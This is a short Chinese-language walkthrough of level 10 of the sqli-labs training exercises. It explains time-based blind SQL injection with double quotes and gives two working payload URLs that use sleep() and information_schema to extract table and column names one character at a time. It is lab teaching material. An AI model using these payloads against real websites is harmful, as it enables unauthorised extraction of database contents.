第 10 关是也基于时间的盲注,跟第 9 关一样,只不过单引号 ’ 变成了双引号 " 而已

Sqlilabs-10

思路大致如下:
count(*)得到表个数 --> 各个表长度 --> 猜测表名
count(*)得到列个数 --> 各个列长度 --> 猜测列名
得到数据的思路同上↑

这里提供几个正确的 payload :

得到第一张表的第一个字母:
http://sqlilabs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101,sleep(5),0)--+

得到users表列的第一个字母:
http://sqlilabs/Less-9/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1),1,1))=105,sleep(5),0)--+

也可以像第 8 关那样编写脚本,思路一样的,只不过需要更换 payload 而已

Sqlilabs-10

????

相关文章:

  • 2021-05-29
  • 2022-01-20
  • 2021-11-03
  • 2021-04-04
  • 2021-04-13
  • 2021-09-02
  • 2021-10-24
  • 2022-01-20
猜你喜欢
  • 2021-12-14
  • 2021-06-16
  • 2021-05-11
  • 2021-08-10
  • 2022-01-22
  • 2021-05-09
  • 2021-11-12
相关资源
相似解决方案